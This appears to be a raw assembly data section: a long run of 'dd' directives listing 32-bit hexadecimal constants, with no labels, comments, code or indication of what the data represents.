dd 18B4C344h, 0AF214A5Fh, 41B4B2C8h, 0BB8F3D41h, 0C0D47079h
dd 607DC4C2h, 7D6CBD6h, 0FA500889h, 2BCECA16h, 7313DC99h
dd 0D459C8E8h, 0D314DD4Ah, 0B40B7D5Ah, 0F3DA74E4h, 0BB8357D7h
dd 0EB20C1BDh, 932D1392h, 0D4239402h, 50E5EB61h, 0CB62A358h
dd 1EDE7D93h, 320F494h, 0BC662E34h, 0B25A9EB2h, 0A33D97C2h
dd 0D5A92133h, 8BBF26B8h, 751D17B5h, 0D2AD18EDh, 22B68D6Bh
dd 1122AE45h, 0A1351937h, 0E3565002h, 0DC937AB8h, 1081C39Ch
dd 0AED548ADh, 0B5C59A21h, 0A57377AAh, 270C17E5h, 0BFB055E1h
dd 5C9221AEh, 149E1045h, 0B266D9BFh, 0BBA510Ch, 175754DEh
dd 67AA4AFDh, 811CB71Dh, 673FC118h, 3F3ACFECh, 0C39A1353h
dd 28DAD955h, 0C1949DBh, 649CCB75h, 0CA93F8D9h, 5BBF4B0Eh
dd 0E7D5B444h, 727D47DCh, 0FE208146h, 0CC0DB74Dh, 0D44CFD54h
dd 0FBC0A8E4h, 5BB011C8h, 0C403E39Eh, 0ADB13B42h, 0FE5EFA2Eh
dd 2D0331ADh, 145B96EEh, 497D03FCh, 3835E73h, 0BF825B58h
dd 462CFFFDh, 2B08426Dh, 28FA8BDh, 2F6185C8h, 0D3427ABh
dd 0C26F444h, 9E739E84h, 2C8F9207h, 0A9DF66B1h, 0E9C948A4h
dd 0EEA6F2D6h, 2DB49652h, 59C3F2C2h, 7ABFDD36h, 265A1679h
dd 0D1A87387h, 445B1896h, 9586D4DEh, 0EC66980Eh, 0B677068h
dd 0BEF4C1E6h, 55D2EC38h, 6F0245ADh, 0DF75E0A4h, 0D831141Dh
dd 0F9C87A53h, 0A2C3C34Ah, 39F479F8h, 0EBC732A8h, 92846C75h
dd 9A40A65h, 0B755FF0Fh, 0AB98EE77h, 0E06C5389h, 2409C234h
dd 0B379FCF4h, 0DEDDFD34h, 68C6C6FDh, 0C75677C8h, 0A7C23D40h
dd 71A02FE0h, 0A96F254Eh, 45A37D6Fh, 12AC4E48h, 6A12B64Fh
dd 911C8A12h, 59850FCEh, 8C07EE4Fh, 0C3DA7E0Ch, 7B99DD00h
dd 75C88DF5h, 6185E910h, 0C1A78AC5h, 4DE9F911h, 0D8EAD4E9h
dd 7F6896E2h, 0EB9261FEh, 0AA667627h, 0D7B2B4Eh, 6D3254B1h
dd 5F3F30BFh, 43079A20h, 757619E1h, 21188BB6h, 3D537487h
dd 27CC1049h, 9C155822h, 0CB24785Dh, 56C172Dh, 0CF60652Eh
dd 0B27DCC66h, 413B498Bh, 92E74244h, 606E3A22h, 0FF77BE66h
dd 6EC45E8h, 745AEACh, 0C909198Eh, 11BA3CB4h, 0C68E215Ah
dd 15D53E6h, 2488EDF9h, 382CDBECh, 52E3A0ABh, 1409C7B6h
dd 0FA4F06BCh, 62B352B7h, 66625735h, 60AB10A7h, 59A5F845h
dd 4EB974FAh, 10DFD08Dh, 671AEBE3h, 7D18945h, 0FACC3336h
dd 2936472Ah, 2F0FC2EFh, 3BB9B561h, 0C9FC2959h, 6A27F5E7h
dd 99B65838h, 78CCFFFh, 0B679537Dh, 8EE205E8h, 46935C66h
dd 0D89A7838h, 323747B0h, 6F2D8397h, 0E7EF2379h, 6C660F08h
dd 8CBFC502h, 0FF68376Dh, 56261327h, 513F7CD9h, 4D70ED40h
dd 49F455E4h, 0F0A474C3h, 9DEEEEF9h, 0CA91027Dh, 0A240C270h
dd 0AB1BD42Fh, 0D18F4E72h, 4E3778E0h, 0F9700E16h, 845555EEh
dd 0C633B087h, 5D90E640h, 4AA82B6Eh, 361F14Dh, 9FE95F1h
dd 0CB9B94C1h, 34E1EEAh, 9B0A49F8h, 0A9ED53CAh, 0CC2E0EA9h
dd 0EA383CF8h, 1F0D42F3h, 37084464h, 4B055DEFh, 4A44C26Dh
dd 0D5394707h, 22F3D513h, 0D9D7006Ah, 0FD040CBBh, 1EFB55D5h
dd 98994F6Ah, 566D477h, 978ADFF4h, 3B8AC5C4h, 0F480F60Eh
dd 469B217Bh, 5CEF285Bh, 0ADAE2110h, 5D23602Ch, 6CAE2C7Fh
dd 0DBE0A66Fh, 15F10796h, 3CEB2390h, 0FF04BE44h, 1273D649h
dd 84167D47h, 5A940676h
dd 7DA2CB2Ch, 0CBA32382h, 96F2A866h, 0F80C4F71h, 97E7B3A7h
dd 3344023h, 0E6DE511Fh, 1948D9AEh, 527E84h, 8C7AF17Bh
dd 239E53F9h, 0ABEBCC48h, 9F083A8Dh, 63391BB2h, 6C4C0CA4h
dd 14F435F4h, 5C0C6DBAh, 0B8426943h, 72E5EC3Dh, 0E672FC45h
dd 0F964EDF4h, 0A178807Fh, 242623C6h, 3AD7D10h, 825D4F4Fh
dd 0CC402368h, 8E3EF625h, 6B144CD4h, 0D65F7CDh, 0D48A26DEh
dd 0D7932F80h, 0A9B0880Fh, 2E02467Ah, 24DD3359h, 5464C7E4h
dd 57ECBE47h, 90165BD5h, 7F76E0CFh, 2F71BC5Dh, 0A824D273h
dd 4766B8B9h, 0D7A1FE0Ch, 0EC8C8F8Fh, 855AA61h, 328F73FCh
dd 0BF48BF7Eh, 92EBC948h, 29507674h, 8AB0BB72h, 7178B86Fh
dd 5D23B0F4h, 57F57DC0h, 143F4038h, 1F167045h, 0F4955BBh
dd 92EFDF2Ch, 88349346h, 2F764D1h, 0DBD50EA9h, 0E1BB3F9Ch
dd 0A6989561h, 851E5E9Ch, 1213C11Ah, 2EFF4BAh, 3202BD5Ch
dd 4E5A9BB4h, 53309170h, 0D4E603h, 709DF072h, 99A8C159h
dd 343B803h, 19C127DEh, 96E89D72h, 0CCBA601Bh, 0D959D603h
dd 0E0A1AF29h, 6EB1E4EEh, 0A283E4AEh, 0FF6E142Ah, 0F1EA578Ch
dd 0BB0A3DEFh, 0A5D3FD59h, 89C578F1h, 9C05A70Ch, 957FABA1h
dd 0B1DFF064h, 0C1B363B4h, 0E78A9AB3h, 826E5C54h, 0DF9A6156h
dd 2EA03D5Ch, 35B95F96h, 0CF52AD46h, 0B20EDE15h, 30ED544Dh
dd 1ABC1F18h, 0A70264B8h, 34D2FF07h, 699B0B39h, 229502C4h
dd 6FCD3E08h, 0C8DC4490h, 0B93AC508h, 0DE4C6EA7h, 9A986186h
dd 0ABE979Ah, 0B1E2BDB4h, 5551511Ah, 45D26622h, 0BD10D8EDh
dd 0E4CD81A9h, 9F8500Dh, 85EF7623h, 9DDA4F61h, 0D74A18Bh
dd 2655AC7Ah, 0F5EB3AB4h, 0DCCC2F42h, 3929731Ah, 773E33C8h
dd 0B72034FAh, 6EACA3E7h, 0B9CADA84h, 63BB024Ch, 8D4C8842h
dd 5A384B4Ch, 41337C5Ah, 5DBC9ED6h, 943FB6E7h, 0B89840F5h
dd 558C8BF2h, 0A94FF8B2h, 0C270D492h, 0DE5C04E0h, 52291E9Dh
dd 55A1C95Ch, 9B66AEF3h, 0A1B73ABBh, 9D70F8F8h, 731C5CE1h
dd 1D0CB214h, 0B978FD0Eh, 0E2FE8F68h, 5D920850h, 3EFAABA2h
dd 0A2827710h, 9D36BE15h, 0FDE2AD59h, 56A44B69h, 0E72D5A48h
dd 7CF12580h, 0B71E5F5Bh, 0AF7BC3DBh, 0ABE6307Dh, 59D74F23h
dd 5FAEF629h, 7E860407h, 0D672D559h, 9694AC47h, 49505A7Eh
dd 0FC6B9943h, 5AD5A571h, 621E1310h, 0D6A75D49h, 0DA40A320h
dd 91F70285h, 9F4B9E02h, 387A0F57h, 9405EAF1h, 246A0B01h
dd 742D603Eh, 0C26C3366h, 0D5E61FF3h, 26680242h, 1AFA3A4Ch
dd 0EF337373h, 0DAE0E7A5h, 0C8AA9509h, 0DE9F21B0h, 2E803D64h
dd 0C2229E1Dh, 0B7C97F39h, 384F9420h, 0C5000908h, 1C784A01h
dd 272A263h, 89687465h, 0E8A8840h, 0D2ED8CDDh, 2F54CD40h
dd 65D5F83Dh, 51C52F9Fh, 0EBBCA8D6h, 3165BC34h, 0BF2DB6CAh
dd 0B802979Dh, 82B2B1ACh, 290275ABh, 0E56EEA6Dh, 0E2430F14h
dd 67C8CE12h, 745B90D8h, 6BD30377h, 7E3EE35Fh, 0C6609932h
dd 0DD227E78h, 24A0F4CEh, 799354A0h, 0EF312811h, 109A3A3Bh
dd 7D64F36Fh, 0E0EEDFDAh, 31216B72h, 81E39F14h, 0C4907593h
dd 0B19FCA75h, 1F40E866h, 0E856463Ah, 27C23BFCh, 0F385B095h
dd 76F15115h, 0BBCEFA98h, 0F60A471Dh, 31B6C252h, 56072282h
dd 619421F1h, 1A8EE50Ch, 2B8ED2C4h, 14E1C1DDh, 69305785h
dd 0F46C473Ch, 94F4126Eh, 96E92F48h, 71A3B164h, 7CABD843h
dd 0BDF0909Ah, 0AFDFAD13h, 0B3091B4Fh, 51208B59h, 0B288C815h
dd 734A37Dh, 10F615C7h, 4A9860F9h, 2AEBF2F1h, 6183EFFFh
dd 7DBECBC2h, 9CEE704Ch, 84D8509Ch, 35BDA45Fh, 0A9A440C6h
dd 9559D2D8h, 28487DF8h, 0EF018B5Bh, 15FDBB97h, 0D9FE2F72h
dd 5E903DDAh, 0F00D79EBh, 0CAA685C4h, 0D4A9CD23h, 0AB45A304h
dd 0DEA30551h, 0E4D520D7h, 75D3B5BCh, 837F528Eh, 0C6D953A3h
dd 0C944A135h, 0ADE17143h, 548DEEBDh, 0D5638608h, 0D089DB46h
dd 0AFAF73E1h, 30970FB7h, 32BA1C90h, 7F4F3F6Fh, 0CFBD9570h
dd 3152C5F4h, 8C18EAA1h, 53EBDADEh, 49657703h, 35AD12FFh
dd 0B9333BF9h, 1EA87434h, 4E8B5B47h, 0F0F11D4Bh, 9EBB6063h
dd 709D09B5h, 0A6253769h, 83166325h, 70D2143Ah, 1BB1BAD7h
dd 682B152Eh, 0E047D322h, 8763EEFEh, 0DBE28AF2h, 5250E34Ch
dd 13124C79h, 6AA30AD7h, 0E9AA9BDEh, 8184F89Fh, 728AB76Fh
dd 18A89B29h, 41B4CE82h, 0FB41D85Ch, 9A30B935h, 146ACDBDh
dd 0A688693Ch, 50C0DF22h, 7C4E226Fh, 0BB645Fh, 90082F0Dh
dd 27B71814h, 0E9273ECFh, 61F4CE70h, 0D8CC85B6h, 40A5FDC7h
dd 0AA57F65Bh, 0E76ADF05h, 0B73CD13Eh, 3DBFF1C4h, 0B51EA9E2h
dd 97797A59h, 62408729h, 0A5701A2Ah, 3F99B182h, 0DCAE7A7Dh
dd 6A6565A8h, 42AB0FF1h, 0BD2878BAh, 4130B99Eh, 0BFA02589h
dd 94B1436h, 8345EB02h, 7614B3h, 244983F6h, 4313549Ah
dd 7663BC61h, 262D5834h, 0D1E0B47h, 0D2A43240h, 567656ABh
dd 91343B5Bh, 9463CBA7h, 0C65B82E5h, 5039ACDDh, 0E829A9A9h
dd 0EA380996h, 571FC424h, 4728C4A5h, 0F3734AFAh, 996F7E9Fh
dd 0B775B2CEh, 52408216h, 5A34805Dh, 0D87EF736h, 0E21C6A6Eh
dd 0EB6993E6h, 6725F8C4h, 0DAF488D8h, 40C8A609h, 0B9B65557h
dd 3A802802h, 5A5E823Ah, 3CF50B21h, 0C4BE1BF5h, 5F566EEDh
dd 89DD688Ah, 0E4E5BDBBh, 95A53358h, 685AA5AFh, 2B906CB1h
dd 0B8BB3DFFh, 63417D61h, 66E543A5h, 1F971E18h, 34EE7FD7h
dd 0EC3C2E6Bh, 8F8D0262h, 8699387Ch, 222139D0h, 24CCE04Ah
dd 1D4F974Ch, 1779C401h, 5EEEA923h, 0AE680D48h, 0E05C8201h
dd 22B108F1h, 18AFC235h, 9110E91h, 9E235A15h, 2A4C1075h
dd 7369AAE3h, 50DA3EFBh, 1A5A7A95h, 0D179D4E6h, 3834B46Ch
dd 0CB34020Bh, 0D3BD230h, 92B3844h, 730B4DDAh, 3AE51621h
dd 0D0D9A4EEh, 5FA3AE11h, 7207AE5h, 49F6DF35h, 0DA93A2A8h
dd 577FBFE7h, 6DD0C271h, 0D3E956h, 343978BBh, 0A811DE53h
dd 4BA0A822h, 91A21C81h, 0E76C6366h, 0A62D0551h, 92CE3CF2h
dd 536FBEBEh, 7B95D65Dh, 0D11D34h, 231E35C5h, 0BF25A665h
dd 1BD7240Fh, 208ED545h, 925B9DF9h, 8FF7342Ch, 3496CD5Eh
dd 323ED444h, 0F8965EB0h, 9409C97Dh, 0EC06C748h, 83BA8ED3h
dd 68716B0Ch, 0AFB5367Bh, 0F63FCCD2h, 0E8D6F2E5h, 0C554B5A5h
dd 0F31C907Dh, 150F9B0Fh, 0F6A49D63h, 8D67CD91h, 81862EF8h
dd 7DA689CDh, 6514056Eh, 317DBA50h, 0E14600C3h, 0E66E6787h
dd 1FAD4507h, 0D52DC4E8h, 42139405h, 0BA7AE94Dh, 0DE8F53BDh
dd 17FDC229h, 0E8FA5932h, 88026AB2h, 38692802h, 7AE6605Eh
dd 0BD23BCEEh, 0F30A878Fh, 9BE44C4Fh, 0A63B5ABDh, 92E97868h
dd 0E035023Fh, 0E969E0BFh, 2A1EA816h, 965FD33Eh, 0FCC84012h
dd 0CCC69701h, 0A06FF55h, 532767FCh, 0C03A4008h, 7AD6E16Ah
dd 2C4A22A8h, 0F9819945h, 0A4008A9Ah, 0D12E9434h, 0AAECC8C1h
dd 5F2761E4h, 44F5706Eh, 0B4BD320Eh, 66A69846h, 0A220AA1Eh
dd 3D432C48h, 72046418h, 551A4DA2h, 26EBBC89h, 9217A12h
dd 8D847C0Dh, 9CE7679Eh, 24BE4EC4h, 0BC0462F2h, 757A1BF4h
dd 7042E72Bh, 7E985273h, 257C4772h, 0A2740C60h, 4A87C96Ch
dd 0B0063C74h, 5285228Ah, 54E548C9h, 8F67EB1Bh, 3E090630h
dd 5A81DB67h, 472E85FAh, 14440498h, 0CEB427A9h, 0B74A522h
dd 16F0B4A3h, 7ED12D2Bh, 0F8F7821h, 5C5BA01Fh, 81481C74h
dd 0B183EA97h, 0C7EC126Ah
dd 1884D62Dh, 9DFFF7CCh, 6002AEAAh, 745C6F43h, 3A9F619Ah
dd 72EB2E47h, 0FFF17934h, 0EE8A5E44h, 41E69DB1h, 0BADCDE6Eh
dd 32D0F537h, 0DFD8B03Dh, 28BEACB4h, 0C9A55E06h, 0B2AE8204h
dd 194FF183h, 50DCCD19h, 0DE375CA8h, 1EC4ABA8h, 0A367FBD2h
dd 9A9F8E2Dh, 2204508Bh, 0DD3BDA65h, 635101C7h, 0CB382610h
dd 0A75B496Ah, 22E1BE6Dh, 8C9EE664h, 33F4E746h, 0B86354F5h
dd 0CF8D365Ch, 85253A95h, 80D802B5h, 0B36038A4h, 0ADC750D8h
dd 58E4D080h, 0B0905207h, 3AF7E64h, 72F109F6h, 5BC58C8Bh
dd 0D5297B3Ah, 8656E4F2h, 0AD7C68FCh, 41B72641h, 4932D022h
dd 0F7B5F326h, 363141F3h, 0F59E9A7h, 901664h, 0C037CBD6h
dd 0D01C5421h, 66A83321h, 0AE56AEAAh, 0DECDAC73h, 536F5BBCh
dd 506F86A6h, 8D002EA3h, 62EEE393h, 0AC34EC3h, 5F2848BCh
dd 0ED0936C0h, 0BB103D44h, 5B086A43h, 8B1CF380h, 0D4F6B8Bh
dd 0FCD06A2Ah, 0EB98E0ADh, 7BB57E57h, 0E9ADE554h, 39F7112Ah
dd 19047FACh, 0C2BE5F7Fh, 720A10h, 0DF845DB5h, 0F4521815h
dd 98B7C1Dh, 82CCC63Fh, 664DFF82h, 3C8FDC73h, 104DEB1Fh
dd 162AC438h, 9816257Dh, 7C3B5238h, 5B4C8338h, 5E42147Ch
dd 542C3905h, 0A0B2FC11h, 0FDC8D8B0h, 0CEF94363h, 0B95C0BE9h
dd 0EB879086h, 62260150h, 8E87D4ABh, 0F6C6A316h, 0ACE06396h
dd 58250B4Eh, 0D0E1008Ah, 0A8ED6C9Eh, 97A4FEB0h, 44DBAC00h
dd 0A45BB20Eh, 5C3E7F3Fh, 6F9EDCFFh, 0F0CF5B6Dh, 775639C0h
dd 9124C3BAh, 0F6596906h, 5C2FB070h, 0D49F9CDDh, 5FA856CBh
dd 2AE93C2Ch, 1B2DC59Ah, 7EAD2CE4h, 2C8276C0h, 6C63306h
dd 0E5F745D0h, 4F34AC8Eh, 4FD031F8h, 0AF8EDF6Bh, 0D56534EDh
dd 5C125D27h, 0C7D379Eh, 0D8EE8D2Dh, 0ED015236h, 1094E034h
dd 0FF5CA563h, 0C11E6B2Eh, 7442BC0Fh, 0DBF2E301h, 7E98301Ch
dd 0B2E4300Eh, 48EECD79h, 5AF424DBh, 4D20F49Ah, 0AB602570h
dd 0E355D536h, 2DF398AFh, 8C499BD2h, 69085DF7h, 3CF78DA8h
dd 0F6A21CCDh, 0C80AE57Dh, 432BA587h, 0AF2A9480h, 7FDC796Fh
dd 97A71B7Eh, 2CA6A67h, 300D12CEh, 0A23E2595h, 82D91BF4h
dd 0AB05D5BDh, 3ECFFCE4h, 7454A337h, 0A4A32543h, 65F29B4h
dd 0A2931DE9h, 74DF6207h, 264289E1h, 64BA1E74h, 373987ADh
dd 0C2ACACF0h, 0FB5015B8h, 128A06ECh, 536AD4F7h, 0B45003B1h
dd 461DA977h, 7AF51CB2h, 0BF3FC376h, 0C4DAEF02h, 3C5D330Ch
dd 0A79CE182h, 1F02BD51h, 0F80943h, 6C8FD1D8h, 0B79344CEh
dd 0FE033D99h, 0E25773D9h, 0C58FC472h, 5A4E3055h, 0A6115148h
dd 0FD916574h, 4CC5E9FAh, 0CDF6F09Ah, 44463EFBh, 0F804A8ECh
dd 1F568EF9h, 11992500h, 82A2D4A3h, 9B44AE47h, 4B5C0E18h
dd 0E17C33A1h, 23F66510h, 62828713h, 0FE12A6ACh, 0DB5CF339h
dd 409EA9FBh, 0AEE62475h, 0AC6E88Bh, 6D72BC37h, 0BA95B54Ch
dd 9B8B685Bh, 71469C00h, 0FECCC1FCh, 65AB9BACh, 0BBF1D87Fh
dd 18C6AC91h, 0F7CA1124h, 0B1E7A917h, 0F351765h, 0CC8974B7h
dd 45F8EC6Ch, 2975C906h, 0A978F612h, 0D76627Ah, 30AC473Fh
dd 0B0DDCA32h, 0FFF58F1Ch, 0B5E673Dh, 0BC0DCC30h, 55BA0EFh
dd 0D360BA2Ch, 0AD883AC7h, 29DD451Bh, 7E26F72Dh, 0FCBEE7A1h
dd 0E44C6E53h, 8F31D1BBh, 7754C3D8h, 60932418h, 352702CEh
dd 3EA4E7BEh, 285C9589h, 0C96FD39Ch, 81FE9750h, 0F19EB02Fh
dd 74F2CFD5h, 0E7FC595Ah, 0CC592977h, 49027244h, 0DC91F92Eh
dd 6541F7E7h, 0B5A2B1FAh, 0F1C5B7B1h, 0DD260D04h, 2AC5FAB4h
dd 0FF99007h, 6B0ABF0Dh, 57F64B1h, 8A3ADC2h, 0B5EB73EBh
dd 0F4FD6751h, 9EA98EE6h, 22429E85h, 0BB6CEEEAh, 398D2D82h
dd 2B4AEFE0h, 460AD39Eh, 0AC9D012Fh, 0B609706Dh, 96B5CD2h
dd 60D291F6h, 229C4773h, 0ECF4FBBFh, 5BEA35A6h, 46C73514h
dd 27729AE6h, 44027B1Ah, 2868E261h, 89F0CF5h, 95F270CFh
dd 1737B39Ah, 6E10B0FDh, 1C529179h, 0F5A89938h, 0B9348B2Dh
dd 0BD6CAA11h, 2F1A5AF2h, 0BDE2DA12h, 5E366173h, 48A09DF1h
dd 0E6BE0AF8h, 2E8A7FA6h, 3AB63D0Ah, 0F5F10905h, 6469F5D4h
dd 0D2518ECEh, 0D57EB8B7h, 0EC9AEDE7h, 4E14ACCBh, 0C17C7670h
dd 212C80A7h, 0F7CE9618h, 0E69643AAh, 87D0EA50h, 30CBE1DCh
dd 0A0A70896h, 0CFEE3726h, 3C339695h, 0F717812Dh, 0DC896741h
dd 88787DE7h, 0D7DFB8A6h, 0C317A128h, 49DC3E3Bh, 0D783EEA4h
dd 0F809AB84h, 0F6E1A10Dh, 277013C1h, 779CBFEDh, 0B196DCECh
dd 4DB04394h, 0F432B372h, 0DF451202h, 1D1FD29Eh, 6CF66220h
dd 1231389Ah, 9CF3ECCCh, 0E3895853h, 79FCA98Ah, 97168200h
dd 0CD7AE43Bh, 0B4155B8Eh, 1764C2DBh, 87913AF8h, 0FB4AE204h
dd 5689EE32h, 95047692h, 6083E8BAh, 2C519630h, 6E971162h
dd 5D0F6A04h, 7D65800Bh, 9F5E4943h, 0F87114C8h, 867A38C4h
dd 438D1AC1h, 857CEBB6h, 5CCE745Bh, 3AA617AEh, 0E99ECF03h
dd 0D1AE0A86h, 6E87B692h, 3BD6E61h, 0A5375119h, 0F9DFBFB7h
dd 0AB21463Ch, 95075E48h, 31717B8h, 17BC4D56h, 85039186h
dd 569E13BEh, 3E8194D6h, 0E4154F0Dh, 3E6BE9D2h, 0BB294E3Bh
dd 0EF24E418h, 7DED0A4Dh, 5EC41D07h, 0C7E4C8F1h, 1C9D6BC3h
dd 7830DBE5h, 5D6E3EE0h, 899AE212h, 5DD5427Bh, 6E25EC8Fh
dd 5B258B75h, 75146733h, 0B6B0169Eh, 94D98B5Bh, 0D1044395h
dd 1BBF4318h, 6F5BC146h, 26F9E563h, 68B20B15h, 591FEA88h
dd 0F3B6C161h, 0BBDFDF4h, 0B54B0ECEh, 315CBCEAh, 8FFA74FCh
dd 4E9E2653h, 5E15E773h, 0C1929229h, 0A9197398h, 88FC3EA9h
dd 0E99E5F87h, 9056AAE8h, 89BD037Eh, 2E6C7D48h, 32194A88h
dd 216CE5FEh, 593B7CB5h, 3696C26Ch, 0C5C76496h, 6153DA97h
dd 4B303D38h, 47FE1E90h, 2E2646A2h, 0B60750CAh, 9D6AE622h
dd 98391312h, 7B87299Bh, 6F411ECFh, 39C1190Ch, 7640E2EBh
dd 0D621CCA8h, 98564395h, 90A39E68h, 0FD3337FBh, 4B6B9FB0h
dd 7DAE2193h, 533EFBD5h, 90843C8Dh, 0F746576Ch, 0C613860Eh
dd 8052AFAAh, 3E6241DCh, 8BDE0EA9h, 2A33FF4Fh, 3921FD12h
dd 2E180E8Ch, 31A14266h, 0BEED53B4h, 6016F235h, 143DA7C5h
dd 49D7EF6Fh, 484E6356h, 0C0721341h, 5526755Ah, 87B061Fh
dd 6D90A974h, 0F2E336F1h, 8549560Fh, 0F1C3F393h, 0EBA6EA5Eh
dd 0BDD09580h, 0B52D6A2Ch, 382D299Fh, 0CF30823Ch, 34E228ABh
dd 861952Ah, 7DBCF136h, 1926EED9h, 86150301h, 65F62C7Eh
dd 8A11CD97h, 27D55268h, 6B7200BBh, 0ACA04E83h, 42789023h
dd 3E67C89Dh, 2118D330h, 8E0FD4ABh, 0AA0FF99Ch, 817FA5BEh
dd 0E01369F9h, 7222D18Dh, 0ACC235C8h, 78F0BD8Dh, 5A168567h
dd 0D0A8DAACh, 0CA5F2A2Dh, 0DF1098E7h, 6DFE19D1h, 0D11D3571h
dd 7E05A7CAh, 1872B1FBh, 433BC875h, 0AA5223CBh, 48C619F5h
dd 8D8A8155h, 7015EFC9h, 0A1E2B888h, 72264519h, 0BFFCE246h
dd 46F12181h, 85AC9D5Bh, 20F03042h, 0A3D16DF5h, 0CA304CBFh
dd 0D7FD15Bh, 99ED15D4h, 9AF93C61h, 0D271BB78h, 0A2F681F5h
dd 7DD91CDh, 0AE6A8225h, 0AE44D32Ah, 68CAB426h, 3D856C9Eh
dd 0FB81498Bh, 0E769B1Fh, 0E17A69B8h, 0DFD31D26h, 890B50E4h
dd 0D0D23E77h, 48DC2CE3h, 0B3C9D037h, 44A1162Ah, 0EAAE3035h
dd 4CDF0C68h, 3B21979Eh, 24DE14D8h, 0A61E30A6h, 61B159EAh
dd 0BCF3E4D9h, 0C050D245h, 9C5994F1h, 0E86EC402h, 975DABE8h
dd 0C469824Bh, 6CA3468Dh
dd 321B9F3Ah, 8E875758h, 34384699h, 4E417F10h, 3D2B0D6Dh
dd 6BA2F090h, 0FE6D4872h, 0BE5D0068h, 6FB81028h, 0EA9B55A0h
dd 2A53E26Dh, 4AB4DD5Ch, 8119FF8h, 646FE28Ch, 3EEE1F26h
dd 0CBE1490Fh, 0B25C4F33h, 35F4D02Ch, 846F8CD7h, 75A4B9F5h
dd 0D7C5DF6h, 6106075Dh, 0BE03453Dh, 0B9D9C131h, 9E02370Ch
dd 214421E6h, 24B602D7h, 59631773h, 0DFC461A7h, 0BEA86F38h
dd 0D4DBFE42h, 0AED53277h, 43C60F8Dh, 6A2529CBh, 3FC901C2h
dd 0E580C90Ah, 2EB64456h, 87265225h, 0C1DF16E7h, 5479ACD2h
dd 0C64C38EDh, 0D9EAC097h, 133E1DADh, 0BA36339Dh, 66A76A55h
dd 3415261Ch, 0EB191314h, 1329542h, 0AF952C78h, 782EE7C8h
dd 0B6B1A64h, 0EBD89FB1h, 41AD7A6Ah, 0E403E336h, 98665D03h
dd 4859B472h, 32D0FECFh, 0DA545EF0h, 209BC088h, 0C44FF632h
dd 38BDF47h, 97070EDCh, 83383CDFh, 0BD77AE3Ch, 0DED8F7F7h
dd 0F59D7BDDh, 5D2B66A6h, 1E84A340h, 363DC8F9h, 12E0C1CAh
dd 0BD636001h, 0E4489201h, 0C1103146h, 5A4D1A82h, 7B782678h
dd 0E3D10BE4h, 0B8D4B652h, 16B78088h, 0DD0934B2h, 9552BB59h
dd 1A0EF2C1h, 97C215CAh, 38833FFAh, 0D9AE861Ah, 4D6CE6D2h
dd 2B845B39h, 0C0C8FD22h, 8253A814h, 0E1E6ADB5h, 0A8072083h
dd 0A55CC8CDh, 0C7472C0Bh, 5205160h, 62D879D3h, 0DE5FA240h
dd 11A45FA9h, 190E92FEh, 9DE92D02h, 7EAE27AEh, 577950AFh
dd 0F8398DC7h, 6E4834CCh, 972FFA9Ah, 87EC4326h, 49456FDCh
dd 7F5B0F30h, 3C09660Fh, 0E181A85h, 93B41208h, 0AE271AF0h
dd 3C7D404Ch, 0A73564E0h, 0B795DC4Eh, 90B766F2h, 129396A3h
dd 72F5B8C8h, 914E5A63h, 376C16A7h, 0A2D79427h, 19421011h
dd 9BDFF34Dh, 0D3A11ABAh, 8DA93795h, 4C819AB8h, 2C2086F2h
dd 17583A99h, 4E83BD08h, 0EEF8ED55h, 2E292ADCh, 52D33CD5h
dd 760EB3F3h, 0BFB0BF90h, 80A335A3h, 90A4F359h, 3EFEDD5h
dd 0DEB1D360h, 53655425h, 0B40A6E1Ch, 0DF5E87F0h, 2EDFB7DEh
dd 1F90225Ch, 5FA84637h, 7593645Ch, 10E17F4Ah, 8F19DB36h
dd 0C5495C1Dh, 0CE480572h, 0C5CDAC29h, 7EB854F1h, 39E2440h
dd 0EB59B2h, 57114F02h, 7BDB539Fh, 20C7520Ch, 70067200h
dd 982C7816h, 2CFAC6F6h, 67B29685h, 0DA4EB876h, 0C96A281Dh
dd 0DCBAE11Dh, 41BC2BE4h, 0C01395DEh, 0EBA3575Ah, 79FC3AF7h
dd 0C8DD86E2h, 0BDB5A44Dh, 472652A8h, 60970F9h, 0A7815293h
dd 26CE122Ah, 9C120501h, 9A9A3C2Eh, 0FBC353E9h, 0E47F7FB9h
dd 715900B5h, 0F468FAD9h, 48A83053h, 0F92B1BD7h, 0AE566B0Bh
dd 3273E2ECh, 0F94BD164h, 7E9C72B6h, 9A59DC4Bh, 0ACF3A4A2h
dd 0C01E34DDh, 7C35B79Bh, 3DD1111Eh, 6F4D5979h, 0D8D12845h
dd 0DE872A00h, 4AB0051Ch, 0EFF147D1h, 0DA11FBC4h, 185ADAFDh
dd 7851C25h, 0B35AD138h, 335FCD1Fh, 0E5EC1818h, 0ECF911D8h
dd 7A53C455h, 118EC5FEh, 0D90F0913h, 0E66B9F8Ah, 9DFFA98Dh
dd 4A361B46h, 7CB8CC55h, 28A58246h, 0F679BAFAh, 33EFAECBh
dd 0D58C9A72h, 7F1C6815h, 42C9F940h, 985A5B5h, 0EFA8F33h
dd 0BBF843A8h, 6A46B64Eh, 7B8BE37Ah, 11A0E33Dh, 816E12C3h
dd 21ABF860h, 0ADD2EB8Bh, 8AF20C57h, 35A994FAh, 0A6DC016Ah
dd 0A3152EFh, 3D274D7Bh, 578B3AEAh, 0B3BC348Dh, 8FB3AFBBh
dd 16F3567h, 24D66F39h, 46C60F8Ah, 7852784Bh, 295C1BE5h
dd 102D8BEFh, 0EA42291Ch, 47B5CA88h, 4747E350h, 0DD8A6E9Ch
dd 5045BF46h, 75332A5h, 0DFAA5CF9h, 2281F6BFh, 1ADAAF5Dh
dd 90C216DEh, 0FF2EAE2Dh, 71D83510h, 816FB903h, 0E02BFEB2h
dd 48C3F98Fh, 0DE86C68Fh, 717EC5C3h, 752424CAh, 1595216Dh
dd 11888C9Eh, 0A6431793h, 931E4F0Fh, 3924AD5h, 3D45A786h
dd 0C092769Eh, 6D3CBD54h, 0F71D0EFEh, 0D1AC5CA8h, 0DD178EA8h
dd 36E60095h, 4ACEF1D0h, 0AEF9AE20h, 0A02AEE72h, 0C15D5FA2h
dd 4FF9F148h, 0D270814Eh, 41113C77h, 3CB8DA2h, 8D6EF801h
dd 0DEB5DD2Eh, 18A6841Dh, 1242AFBCh, 4C0F9281h, 0F642C96Dh
dd 5042A9F9h, 7C1278F6h, 4B100BC8h, 8265AE64h, 0B1F424AAh
dd 49CCF570h, 0F717D108h, 46B2127Eh, 5E4BC143h, 3482B74Dh
dd 7F842C9Dh, 0A47BC848h, 52C204D7h, 3D363246h, 2301AD7Ch
dd 7F4F59h, 0BE8B2111h, 0FD8ECF9Ah, 0CC463304h, 0E7533B48h
